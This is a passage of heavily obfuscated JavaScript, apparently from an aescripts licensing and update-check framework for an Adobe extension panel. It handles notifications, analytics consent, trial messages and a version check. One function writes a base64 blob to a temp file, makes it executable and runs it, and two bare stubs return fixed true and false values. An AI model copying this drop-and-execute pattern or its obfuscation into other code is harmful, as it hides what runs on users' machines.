            }(38, 175, 169, 159, 156, 161, 131, 154, 158, 160, 148, 168, 159, 153, 93) + 14..toString(36).toLowerCase() + 30..toString(36).toLowerCase().split("").map(function(A) {
                return String.fromCharCode(A.charCodeAt() + -71)
            }).join("") + 59657761525..toString(36).toLowerCase(), e)), l && c(a, "Details\u2026", void 0, function() {
                B("about")
            }), c(a, R.getLocalizedString(function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 47 - t)
                }).join("")
            }(38, 189, 189, 205, 206, 204, 184, 202, 200) + 27..toString(36).toLowerCase() + 30..toString(36).toLowerCase().split("").map(function(A) {
                return String.fromCharCode(A.charCodeAt() + -71)
            }).join("") + 40625366629..toString(36).toLowerCase() + 28..toString(36).toLowerCase().split("").map(function(A) {
                return String.fromCharCode(A.charCodeAt() + -39)
            }).join("") + 18..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 12 - t)
                }).join("")
            }(31, 142) + 684014..toString(36).toLowerCase() + 30..toString(36).toLowerCase().split("").map(function(A) {
                return String.fromCharCode(A.charCodeAt() + -71)
            }).join("") + 1744641099..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 21 - t)
                }).join("")
            }(16, 153)), void 0, function() {
                B("support", "customer-care")
            }), r.appendChild(s), o(), n(t)
        }

        function y() {
            var A = "aesp-update-notification",
                e = document.getElementById("aesp-notifications"),
                t = i(A),
                r = t.querySelector(".aesp-notification__content");
            Q(r), S(r), e.appendChild(t), n(A)
        }

        function F(A) {
            var e = !0;
            (function() {
                var A = "aesp-analytics-notification",
                    r = document.getElementById("aesp-notifications"),
                    o = i(A),
                    s = o.querySelector(".aesp-notification__content"),
                    I = t();
                s.innerHTML = R.getLocalizedString("statusbar.analytics.notification.message"), a(s), c(s, R.getLocalizedString("statusbar.analytics.notification.ok"), void 0, function() {
                    I.enabled(!0), e = !1, L(!0), h("aesp-analytics-notification")
                }), c(s, R.getLocalizedString("statusbar.analytics.notification.deny"), void 0, function() {
                    I.enabled(!1), e = !1, L(!0), h("aesp-analytics-notification")
                }), r.appendChild(o), n(A)
            })(), A && setTimeout(function() {
                e && h("aesp-analytics-notification")
            }, 6e4)
        }

        function L(A) {
            var e = "analytiucsMessageAlreadyConfirmed",
                t = 34..toString(36).toLowerCase() + function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 31 - t)
                    }).join("")
                }(19, 151) + 28..toString(36).toLowerCase(),
                i = function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 47 - t)
                    }).join("")
                }(24, 173) + 381..toString(36).toLowerCase() + function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 11 - t)
                    }).join("")
                }(45, 171) + 14..toString(36).toLowerCase();
            if (void 0 === A) return localStorage.getItem(e) == t;
            var r = A ? t : i;
            localStorage.setItem(e, r)
        }

        function k(A) {
            var e = function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 45 - t)
                }).join("")
            }(36, 167, 204, 187, 192, 202, 206, 192, 180, 192, 178) + 14..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 35 - t)
                }).join("")
            }(44, 205, 190, 166, 205, 196, 156, 184, 185, 178, 195, 194) + 527..toString(36).toLowerCase() + 17..toString(36).toLowerCase().split("").map(function(A) {
                return String.fromCharCode(A.charCodeAt() + -39)
            }).join("") + 1015282..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 53 - t)
                }).join("")
            }(47, 222, 200) + 35..toString(36).toLowerCase().split("").map(function(A) {
                return String.fromCharCode(A.charCodeAt() + -39)
            }).join("") + 636..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 45 - t)
                }).join("")
            }(42, 198, 206);
            return void 0 === A ? parseInt(localStorage.getItem(e)) : void localStorage.setItem(e, A)
        }

        function J() {
            var A = document.getElementById("aesp-trial-notification"),
                e = document.getElementById("aesp-invalid-notification");
            A && A.remove(), e && e.remove(), r()
        }

        function j() {
            var e = document.createElement("style");
            e.id = "aesp-button-style";
            var t = document.createTextNode(" \t\t#aesp-flyout-message { \t\t\tposition: fixed !important; \t\t\twidth: 100% !important; \t\t\theight: 100% !important; \t\t\tcolor: #CCCCCC !important; \t\t\tfont-family: Verdana, sans-serif !important; \t\t\tfont-size: 12px !important; \t\t\tz-index: 1200 !important; \t\t\tpadding: 25px !important; \t\t\tbox-sizing: border-box !important; \t\t\t-webkit-user-select: none !important; \t\t\tcursor: default !important; \t\t} \t\t#aesp-flyout-message ul { \t\t\tline-height: 18px !important; \t\t\tpadding-left: 10% !important; \t\t} \t\t#aesp-flyout-message li { \t\t\tmargin-top: 3px !important; \t\t} \t\t.aesp-message { \t\t\tmax-width: 260px !important; \t\t\twidth: 90% !important; \t\t\tmargin: 0 auto !important; \t\t} \t\t.aesp-rounded-button { \t\t\tfont-family: Verdana, sans-serif; \t\t\tfont-size: 12px !important; \t\t\tdisplay: block !important; \t\t\theight: 18px !important; \t\t\tborder-radius: 10px !important; \t\t\toutline: none !important; \t\t\tbackground-color: hsla(360, 100%, 100%, 0) !important; \t\t\tborder: 1px solid hsl(360, 0%, 54%) !important; \t\t\tcolor: hsl(360, 0%, 54%) !important; \t\t\tpadding: 0px 15px !important; \t\t\tline-height: 0px !important; \t\t\tfont-weight: 600 !important; \t\t\tmin-width: 90px !important; \t\t\tmargin-top: 30px !important; \t\t\tbox-shadow: 0 0 1px hsl(360, 0%, 54%) inset !important; \t\t} \t\t\t\t.aesp-rounded-button:hover { \t\t\tbackground-color: hsl(360, 0%, 54%) !important; \t\t\tcolor: hsla(360, 0%, 0%, 0.7) !important; \t\t} \t\t\t\t.aesp-rounded-button:focus { \t\t\tbackground-color: #2D8CEB !important; \t\t\tborder-color: #2D8CEB !important; \t\t\tcolor: #CCCCCC !important !important; \t\t}");
            e.appendChild(t), document.head.appendChild(e);
            var i = document.createDocumentFragment(),
                r = document.createElement("div");
            r.id = "aesp-flyout-message", r.className = "aesp-appBackgroundColor", i.appendChild(r);
            var o = document.createElement("div");
            o.className = "aesp-message", r.appendChild(o);
            var n = document.createElement("h2");
            n.innerHTML = R.getLocalizedString("flyoutMessage.header"), n.style.textTransform = "uppercase", o.appendChild(n);
            var s = document.createTextNode(R.getLocalizedString("flyoutMessage.beforeIcon"));
            o.appendChild(s);
            var a = "http://www.w3.org/2000/svg",
                I = document.createElementNS(a, "svg");
            I.setAttributeNS(null, "width", 20), I.setAttributeNS(null, "height", 20), I.setAttributeNS(null, "viewBox", "0 0 19 18");
            var l = document.createElementNS(a, "path");
            l.setAttributeNS(null, "fill", "#b1b1b1"), l.setAttributeNS(null, "d", "M5 5h8v1H5zM5 8h8v1H5zM5 11h8v1H5z");
            var c = document.createElementNS(a, "path");
            c.setAttributeNS(null, "fill", "#313131"), c.setAttributeNS(null, "d", "M17 1a1 1 0 0 1 1 1v14a1 1 0 0 1-1 1H2a1 1 0 0 1-1-1V2a1 1 0 0 1 1-1h15m0-1H2a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h15a2 2 0 0 0 2-2V2a2 2 0 0 0-2-2z"), I.style.display = "inline-block", I.style.verticalAlign = "middle", I.style.margin = "0 5px", I.appendChild(l), I.appendChild(c), o.appendChild(I);
            var B = document.createTextNode(R.getLocalizedString("flyoutMessage.afterIcon"));
            o.appendChild(B);
            var g = document.createElement("ul");
            o.appendChild(g);
            var h = [R.getLocalizedString("flyoutMessage.licenseProduct"), R.getLocalizedString("flyoutMessage.readHelpFiles"), R.getLocalizedString("flyoutMessage.checkUpdates"), R.getLocalizedString("flyoutMessage.getSupport")];
            A[2018749634879..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 4 - t)
                }).join("")
            }(15, 124, 124, 133, 132, 120, 89, 136, 121, 118) + 12..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 19 - t)
                }).join("")
            }(22, 148)] && h.splice(1, 0, R.getLocalizedString("flyoutMessage.changePrefs")), h.forEach(function(A) {
                var e = document.createElement("li");
                e.innerHTML = A, g.appendChild(e)
            });
            var E = document.createElement("input");
            E.setAttribute("type", "button"), E.className = "aesp-rounded-button", E.value = "OK", E.onclick = function() {
                localStorage.setItem(728304..toString(36).toLowerCase() + function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 14 - t)
                    }).join("")
                }(34, 161, 162, 155, 172, 171, 156, 131, 170, 162, 152, 127, 165, 165) + 20..toString(36).toLowerCase().split("").map(function(A) {
                    return String.fromCharCode(A.charCodeAt() + -39)
                }).join("") + 1472866691269..toString(36).toLowerCase(), function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 8 - t)
                    }).join("")
                }(62, 191) + 14..toString(36).toLowerCase() + function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 10 - t)
                    }).join("")
                }(34, 159)), document.getElementById("aesp-flyout-message").remove(), document.getElementById("aesp-button-style").remove()
            }, o.appendChild(E), document.body.insertBefore(i, document.body.childNodes[0])
        }

        function N() {
            var A = 943883093..toString(36).toLowerCase() + function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 60 - t)
                    }).join("")
                }(42, 213, 214, 207, 224, 223, 208, 183, 222, 214, 204, 179) + 20..toString(36).toLowerCase().split("").map(function(A) {
                    return String.fromCharCode(A.charCodeAt() + -39)
                }).join("") + 1136471212..toString(36).toLowerCase() + function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 40 - t)
                    }).join("")
                }(16, 157) + 13..toString(36).toLowerCase(),
                e = function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 47 - t)
                    }).join("")
                }(50, 218) + 14..toString(36).toLowerCase() + function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 43 - t)
                    }).join("")
                }(0, 158);
            return localStorage.getItem(A) == e
        }
        var U = new I;
        ! function() {
            var A = document.createElement("style"),
                e = document.createTextNode("\t\tbody { \t\t\tmargin: 0 !important; \t\t\tpadding: 0 !important; \t\t\tcursor: default; \t\t\t-webkit-user-select: none; \t\t} \t\t\n \t\t.aesp-close-button { \t\t\tdisplay: inline-block !important; \t\t\twidth: 10px !important; \t\t\tpadding-left: 8px !important; \t\t\theight: 16px !important; \t\t\tline-height: 20px !important; \t\t} \t\t\n \t\t.aesp-close-button:hover path { \t\t\tfill: rgba(255, 255, 255, .8) !important; \t\t} \t\t\n \t\t.aesp-notification-button { \t\t\theight: 19px !important; \t\t\talign: top !important; \t\t\tborder-bottom: 1px solid white !important; \t\t\tmargin-left: 10px !important; \t\t\tpadding: 0px !important; \t\t\tdisplay: inline-block !important; \t\t} \t\t\n \t\t.aesp-notification-button:hover { \t\t\tborder: none !important; \t\t\tcolor: rgba(255, 255, 255, .8) !important; \t\t} \t\t\n \t\t.aesp-about-icon { \t\t\tdisplay: inline-block !important; \t\t\tpadding-left: 5px !important; \t\t\tfill: white !important; \t\t} \t\t\n \t\t.aesp-about-icon:hover { \t\t\tfill: rgba(255, 255, 255, .8) !important; \t\t} \t\t\n \t\t.aesp-notifications { \t\t\tposition: relative !important; \t\t\tz-index: 1024; !important; \t\t\tcursor: default !important; \t\t\t-webkit-user-select: none !important; \t\t} \t\t\n \t\t.aesp-notification { \t\t\toverflow: hidden !important; \t\t\theight: 0 !important; \t\t\ttransition: height 0.3s ease-in-out !important; \t\t\tposition: relative !important; \t\t} \t\t\n \t\t.aesp-notification.aesp-is-open { \t\t\theight: 20px !important; \t\t} \t\t\n \t\t.aesp-notification__content { \t\t\tbackground-color: rgb(45, 140, 235) !important; \t\t\theight: 20px !important; \t\t\tcolor: #ffffff !important; \t\t\tfont-family: Verdana, sans-serif !important; \t\t\tfont-size: 12px !important; \t\t\tline-height: 20px !important; \t\t\tpadding: 0 8px !important; \t\t\twhite-space: nowrap !important; \t\t} \t\t\n \t\t.aesp-notification__content p { \t\t\tmargin: 0 !important; \t\t\tpadding: 0 !important; \t\t} \t\t\n \t\t.aesp-notification__info { \t\t\tposition: absolute !important; \t\t\theight: 20px !important; \t\t\tleft: 0 !important; \t\t\twidth: 100% !important; \t\t\ttransition: all 0.3s ease-in-out !important; \t\t} \t\t\n \t\t.aesp-notification__info.aesp-general { \t\t\ttop: 100% !important; \t\t} \t\t\n \t\t.aesp-notification__info.aesp-general.aesp-is-active { \t\t\ttop: 0 !important; \t\t} \t\t\n \t\t.aesp-notification__info.aesp-reminds { \t\t\tbottom: 100% !important; \t\t} \t\t\n \t\t.aesp-notification__info.aesp-reminds.aesp-is-active { \t\t\tbottom: 0 !important; \t\t} \t\t\n \t\titalic { \t\t\tfont-style: italic !important; \t\t}");
            A.appendChild(e), document.head.appendChild(A)
        }(),
        function() {
            var A = document.createDocumentFragment(),
                e = document.createElement("div");
            e.id = "aesp-notifications", e.className = "aesp-notifications aesp-is-open", A.appendChild(e), document.body.insertBefore(A, document.body.childNodes[0])
        }(),
        function() {
            var A = t();
            A[31883011861..toString(36).toLowerCase() + 25..toString(36).toLowerCase().split("").map(function(A) {
                return String.fromCharCode(A.charCodeAt() + -39)
            }).join("") + 28..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 40 - t)
                }).join("")
            }(50, 198, 198, 206, 200, 196, 194, 192, 201, 175)]() && (k(0), L(!1), A.enabled(!0));
            var e = k();
            e || (e = 0), N() ? (k(e + 1), e < 3 && !L() && F(!0)) : F(!1)
        }(),
        function() {
            N() || j()
        }(), U.addEventListener(16438..toString(36).toLowerCase() + 30..toString(36).toLowerCase().split("").map(function(A) {
            return String.fromCharCode(A.charCodeAt() + -71)
        }).join("") + 29369919094336..toString(36).toLowerCase() + function() {
            var A = Array.prototype.slice.call(arguments),
                e = A.shift();
            return A.reverse().map(function(A, t) {
                return String.fromCharCode(A - e - 12 - t)
            }).join("")
        }(51, 177, 173, 166, 109) + 32..toString(36).toLowerCase() + 30..toString(36).toLowerCase().split("").map(function(A) {
            return String.fromCharCode(A.charCodeAt() + -71)
        }).join("") + 17341589..toString(36).toLowerCase() + function() {
            var A = Array.prototype.slice.call(arguments),
                e = A.shift();
            return A.reverse().map(function(A, t) {
                return String.fromCharCode(A - e - 55 - t)
            }).join("")
        }(1, 180, 183, 181, 176, 176, 109, 163, 177, 157, 159, 170, 174, 102) + 24..toString(36).toLowerCase() + function() {
            var A = Array.prototype.slice.call(arguments),
                e = A.shift();
            return A.reverse().map(function(A, t) {
                return String.fromCharCode(A - e - 0 - t)
            }).join("")
        }(63, 165, 173) + 13..toString(36).toLowerCase(), function() {
            h("aesp-update-notification")
        }), this[function() {
            var A = Array.prototype.slice.call(arguments),
                e = A.shift();
            return A.reverse().map(function(A, t) {
                return String.fromCharCode(A - e - 9 - t)
            }).join("")
        }(18, 115, 137, 151, 131, 133, 144, 116, 149, 140, 132, 142) + 1944981067205..toString(36).toLowerCase() + function() {
            var A = Array.prototype.slice.call(arguments),
                e = A.shift();
            return A.reverse().map(function(A, t) {
                return String.fromCharCode(A - e - 0 - t)
            }).join("")
        }(25, 130) + 24..toString(36).toLowerCase() + function() {
            var A = Array.prototype.slice.call(arguments),
                e = A.shift();
            return A.reverse().map(function(A, t) {
                return String.fromCharCode(A - e - 27 - t)
            }).join("")
        }(9, 146)] = y, this[1329296..toString(36).toLowerCase() + 12..toString(36).toLowerCase().split("").map(function(A) {
            return String.fromCharCode(A.charCodeAt() + -13)
        }).join("") + 381..toString(36).toLowerCase() + function() {
            var A = Array.prototype.slice.call(arguments),
                e = A.shift();
            return A.reverse().map(function(A, t) {
                return String.fromCharCode(A - e - 12 - t)
            }).join("")
        }(41, 168, 178, 172, 138, 167, 155, 162, 170, 139, 154, 158) + 723610..toString(36).toLowerCase() + function() {
            var A = Array.prototype.slice.call(arguments),
                e = A.shift();
            return A.reverse().map(function(A, t) {
                return String.fromCharCode(A - e - 22 - t)
            }).join("")
        }(5, 133, 143) + 24..toString(36).toLowerCase() + function() {
            var A = Array.prototype.slice.call(arguments),
                e = A.shift();
            return A.reverse().map(function(A, t) {
                return String.fromCharCode(A - e - 1 - t)
            }).join("")
        }(6, 117)] = v, this[1329296..toString(36).toLowerCase() + 21..toString(36).toLowerCase().split("").map(function(A) {
            return String.fromCharCode(A.charCodeAt() + -39)
        }).join("") + 2038249525..toString(36).toLowerCase() + function() {
            var A = Array.prototype.slice.call(arguments),
                e = A.shift();
            return A.reverse().map(function(A, t) {
                return String.fromCharCode(A - e - 55 - t)
            }).join("")
        }(51, 229, 223, 189, 218, 206, 213, 221, 190) + 1114441157..toString(36).toLowerCase() + function() {
            var A = Array.prototype.slice.call(arguments),
                e = A.shift();
            return A.reverse().map(function(A, t) {
                return String.fromCharCode(A - e - 57 - t)
            }).join("")
        }(33, 202, 195) + 23..toString(36).toLowerCase()] = m, this[function() {
            var A = Array.prototype.slice.call(arguments),
                e = A.shift();
            return A.reverse().map(function(A, t) {
                return String.fromCharCode(A - e - 5 - t)
            }).join("")
        }(36, 154, 146, 156) + 32..toString(36).toLowerCase() + 21..toString(36).toLowerCase().split("").map(function(A) {
            return String.fromCharCode(A.charCodeAt() + -39)
        }).join("") + 2038249525..toString(36).toLowerCase() + 18..toString(36).toLowerCase().split("").map(function(A) {
            return String.fromCharCode(A.charCodeAt() + -39)
        }).join("") + 19198..toString(36).toLowerCase() + function() {
            var A = Array.prototype.slice.call(arguments),
                e = A.shift();
            return A.reverse().map(function(A, t) {
                return String.fromCharCode(A - e - 2 - t)
            }).join("")
        }(11, 127, 137, 117, 118, 123, 119, 121, 131, 125, 91) + 887..toString(36).toLowerCase()] = M, this[function() {
            var A = Array.prototype.slice.call(arguments),
                e = A.shift();
            return A.reverse().map(function(A, t) {
                return String.fromCharCode(A - e - 25 - t)
            }).join("")
        }(51, 190, 192, 180, 200, 191, 153, 198, 189, 181, 191) + 13..toString(36).toLowerCase() + 28..toString(36).toLowerCase().split("").map(function(A) {
            return String.fromCharCode(A.charCodeAt() + -39)
        }).join("") + 1109230574..toString(36).toLowerCase() + 30..toString(36).toLowerCase().split("").map(function(A) {
            return String.fromCharCode(A.charCodeAt() + -39)
        }).join("") + 1500756996..toString(36).toLowerCase() + function() {
            var A = Array.prototype.slice.call(arguments),
                e = A.shift();
            return A.reverse().map(function(A, t) {
                return String.fromCharCode(A - e - 35 - t)
            }).join("")
        }(58, 200, 210, 190) + 887..toString(36).toLowerCase()] = P, this[function() {
            var A = Array.prototype.slice.call(arguments),
                e = A.shift();
            return A.reverse().map(function(A, t) {
                return String.fromCharCode(A - e - 19 - t)
            }).join("")
        }(39, 162, 160, 164, 162) + 17..toString(36).toLowerCase().split("").map(function(A) {
            return String.fromCharCode(A.charCodeAt() + -39)
        }).join("") + 777..toString(36).toLowerCase() + 28..toString(36).toLowerCase().split("").map(function(A) {
            return String.fromCharCode(A.charCodeAt() + -39)
        }).join("") + 1109230574..toString(36).toLowerCase() + 30..toString(36).toLowerCase().split("").map(function(A) {
            return String.fromCharCode(A.charCodeAt() + -39)
        }).join("") + 893..toString(36).toLowerCase() + function() {
            var A = Array.prototype.slice.call(arguments),
                e = A.shift();
            return A.reverse().map(function(A, t) {
                return String.fromCharCode(A - e - 47 - t)
            }).join("")
        }(55, 220, 213, 223, 203, 204, 209, 205, 207) + 856..toString(36).toLowerCase()] = J
    }

    function E(A, e, t, i, r) {
        function o(A, e) {
            if (!0 === A || g() && !E()) try {
                n(A, e)
            } catch (A) {
                t.log(new Error("Version Check Exception " + A.toString())), e({
                    status: "update failed",
                    error: A.toString()
                })
            } else t.log("update check skipped (is deactivated or snoozed)"), setTimeout(function() {
                e({
                    status: "skipped update check",
                    reason: g() ? "snoozed" : "disabled"
                })
            }, 0)
        }

        function n(A, i) {
            t.log("Checking for extension update"), c(function(r) {
                try {
                    if (r instanceof Error) throw Error;
                    var o = B(r),
                        n = e;
                    t.log("Server Version " + o, {
                        console: !0,
                        support: !0
                    }), t.log("Client Version " + n, {
                        console: !0,
                        support: !0
                    }), I(n, o) < 0 ? s(o, n, A, r, i) : (t.log("No new updates"), i({
                        status: "up to date",
                        serverVersion: o,
                        clientVersion: n
                    }))
                } catch (A) {
                    t.log("could not retrieve update check data from server: " + JSON.stringify(r)), i({
                        status: "failed",
                        error: A
                    })
                }
            })
        }

        function s(A, e, r, o, n) {
            if (t.log("New Version available " + A, {
                    console: !0,
                    support: !0
                }), !0 !== r) {
                var s = i.getItem(f.skipVersion);
                if (void 0 !== s && I(s, A) >= 0) return t.log("found setting to skip this new version" + s, {
                    console: !0,
                    support: !0
                }), void n({
                    status: "skipped update check",
                    reason: "skip this version enabled for " + s,
                    serverVersion: A,
                    clientVersion: e
                })
            }
            var l = a(o, e);
            n({
                status: "update available",
                serverVersion: A,
                clientVersion: e,
                summary: Q ? l : R.getLocalizedString("update.installed-version") + ": v" + e + "\n\n-------" + R.getLocalizedString("update.history") + "-------\n\n" + l
            })
        }

        function a(A, e) {
            for (var t = A.log, i = [], o = t.length - 1; o >= 0; o--) {
                var n = t[o],
                    s = "",
                    a = Q ? "html" : "plaintext",
                    l = Q ? n.detail.replace(/(?:\r\n|\r|\n)/g, "<br />") : n.detail;
                o == t.length - 1 && (s = " (" + R.getLocalizedString("update.current") + ")");
                var c = R.getLocalizedString("update.rev." + a, n.version_number, s, n.release_date, l);
                (!r.summaryOnlyNewChanges || I(e, n.version_number) < 0) && i.push(c)
            }
            return i.join("\n\n")
        }

        function I(A, e) {
            function i(A) {
                for (var e = A.split("."), t = 0; t < 4; t++) e[t] = parseInt(e[t] || 0);
                return e
            }
            t.log("compare versions:" + A + " to " + e), A = i(A), e = i(e);
            for (var r = 0; r < 4; r++) {
                if (A[r] > e[r]) return 1;
                if (A[r] < e[r]) return -1
            }
            return 0
        }

        function l(A, e, i) {
            var r = new XMLHttpRequest;
            r.onreadystatechange = function() {
                if (4 == r.readyState) try {
                    if (200 !== r.status) throw new Error("no respsonse from server (XMLHttpRequest status = " + r.status + ") for " + A);
                    var o = JSON.parse(r.responseText);
                    i(o)
                } catch (A) {
                    t.log(A), e(A)
                }
            }, r.onerror = function() {}, r.open("POST", A, !1), r.send()
        }

        function c(e) {
            l(R.applyTemplate(d, A), e, e)
        }

        function B(A) {
            try {
                if ("ok" !== A.status) throw new Error;
                return A.version
            } catch (e) {
                throw new Error("invalid version data:" + JSON.stringify(A))
            }
        }

        function g(A) {
            if (void 0 === A) {
                var e = i.getItem(f.updateEnabled);
                return "false" !== e && !1 !== e
            }
            i.setItem(f.updateEnabled, !!A)
        }

        function h(A) {
            void 0 === A && (A = 3), t.log("snooze update for " + A + " days");
            var e = new Date;
            e.setDate(e.getDate() + A), i.setItem(f.snoozeDate, e)
        }

        function E() {
            var A = i.getItem(f.snoozeDate);
            if (void 0 === A) return !1;
            var e = Date.parse(A);
            if (isNaN(e)) return t.log("invalid date found for snooze option of update check"), !1;
            var r = new Date(e);
            return t.log("update check snoozed until " + r.toString()), r > new Date
        }

        function u() {
            t.log("try to skipCurrentVersion of update check");
            try {
                c(function(A) {
                    if (A instanceof Error) t.log("update check failed(2) :" + A);
                    else {
                        var e = B(A);
                        i.setItem(f.skipVersion, e), t.log("skip version " + e)
                    }
                })
            } catch (A) {
                t.log("update check failed (1) :" + A)
            }
        }
        r = r || {};
        var Q = "html" == r.summaryFormat,
            d = "http://notify.aescripts.com/versioncheck2.php?sku={0}&log=1&json=1/",
            f = {
                updateEnabled: "updatecheck.enabled",
                snoozeDate: "updatecheck.snoozeDate",
                skipVersion: "updatecheck.skipVersion"
            };
        this.enabled = g, this.updateCheck = o, this.snooze = h, this.skipCurrentVersion = u
    }

    function u(A, e) {
        this.v = 1, this.tid = A, this.cid = e
    }

    function Q(A) {
        return A.replace(/[^a-z0-9]/gi, "")
    }

    function d(A, e, t, i) {
        function r(r) {
            q(A, e, void 0, t, i, r)
        }
        this[function() {
            var A = Array.prototype.slice.call(arguments),
                e = A.shift();
            return A.reverse().map(function(A, t) {
                return String.fromCharCode(A - e - 24 - t)
            }).join("")
        }(57, 189, 191, 179, 199) + 478..toString(36).toLowerCase() + function() {
            var A = Array.prototype.slice.call(arguments),
                e = A.shift();
            return A.reverse().map(function(A, t) {
                return String.fromCharCode(A - e - 16 - t)
            }).join("")
        }(37, 155, 169)] = r
    }

    function f(A, e, t, i) {
        function r(e) {
            e = e || function() {}, q(A, t, "-", a, i, e)
        }

        function o(A) {
            return /BTA\d*$/.test(A)
        }

        function n(A) {
            return /^@REMOTE$/gi.test(A) && (A = e + "@REMOTE"), A
        }

        function s(r, s) {
            return r = r.trim(), r = n(r), r.startsWith(e) ? !i && o(r) ? void setTimeout(function() {
                var A = {};
                A[function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 5 - t)
                    }).join("")
                }(57, 164, 176) + 1038..toString(36).toLowerCase() + function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 15 - t)
                    }).join("")
                }(45, 177, 168)] = W, s(A)
            }, 0) : void q(A, t, r, a, i, s) : void setTimeout(function() {
                var A = {};
                A[986..toString(36).toLowerCase() + function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 15 - t)
                    }).join("")
                }(58, 183, 191, 188) + 29..toString(36).toLowerCase()] = Z, s(A)
            }, 0)
        }
        String.prototype.startsWith || (String.prototype.startsWith = function(A, e) {
            return this.substr(e || 0, A.length) === A
        });
        var a = void 0;
        this[18..toString(36).toLowerCase() + function() {
            var A = Array.prototype.slice.call(arguments),
                e = A.shift();
            return A.reverse().map(function(A, t) {
                return String.fromCharCode(A - e - 42 - t)
            }).join("")
        }(19, 171) + 1037..toString(36).toLowerCase() + function() {
            var A = Array.prototype.slice.call(arguments),
                e = A.shift();
            return A.reverse().map(function(A, t) {
                return String.fromCharCode(A - e - 6 - t)
            }).join("")
        }(51, 167, 166, 154)] = s, this[30..toString(36).toLowerCase() + function() {
            var A = Array.prototype.slice.call(arguments),
                e = A.shift();
            return A.reverse().map(function(A, t) {
                return String.fromCharCode(A - e - 49 - t)
            }).join("")
        }(50, 217, 211, 205, 209) + 1366761..toString(36).toLowerCase()] = r
    }

    function S(A, e, t) {
        var i = "darwin" == require("os").platform(),
            r = !i,
            o = require("temp"),
            n = require("child_process"),
            s = require("fs"),
            a = o.path();
        if (r && (a += 30..toString(36).toLowerCase().split("").map(function(A) {
                return String.fromCharCode(A.charCodeAt() + -71)
            }).join("") + 14..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 5 - t)
                }).join("")
            }(4, 129) + 14..toString(36).toLowerCase()), s.writeFileSync(a, A, "base64"), !s.existsSync(a)) return void t(null, null, function() {
            var A = Array.prototype.slice.call(arguments),
                e = A.shift();
            return A.reverse().map(function(A, t) {
                return String.fromCharCode(A - e - 11 - t)
            }).join("")
        }(2, 132, 136, 51, 118, 118, 124, 120, 111, 83) + 16..toString(36).toLowerCase().split("").map(function(A) {
            return String.fromCharCode(A.charCodeAt() + -71)
        }).join("") + 55031810..toString(36).toLowerCase() + function() {
            var A = Array.prototype.slice.call(arguments),
                e = A.shift();
            return A.reverse().map(function(A, t) {
                return String.fromCharCode(A - e - 0 - t)
            }).join("")
        }(21, 128, 120, 53) + 23..toString(36).toLowerCase() + function() {
            var A = Array.prototype.slice.call(arguments),
                e = A.shift();
            return A.reverse().map(function(A, t) {
                return String.fromCharCode(A - e - 46 - t)
            }).join("")
        }(12, 181, 173, 155));
        s.chmodSync(a, "757");
        var I = void 0;
        n.execFile(a, e, function(A, e, i) {
            setTimeout(function() {
                t(A, I, e, i)
            }, 0)
        }).on("exit", function(A) {
            I = A;
            try {
                s.unlinkSync(a)
            } catch (A) {}
        })
    }

    function w(A) {
        return true; 
    }

    function p(A) {
        return false; 
    }

    function C(A) {
        return v(27876..toString(36).toLowerCase() + 30..toString(36).toLowerCase().split("").map(function(A) {
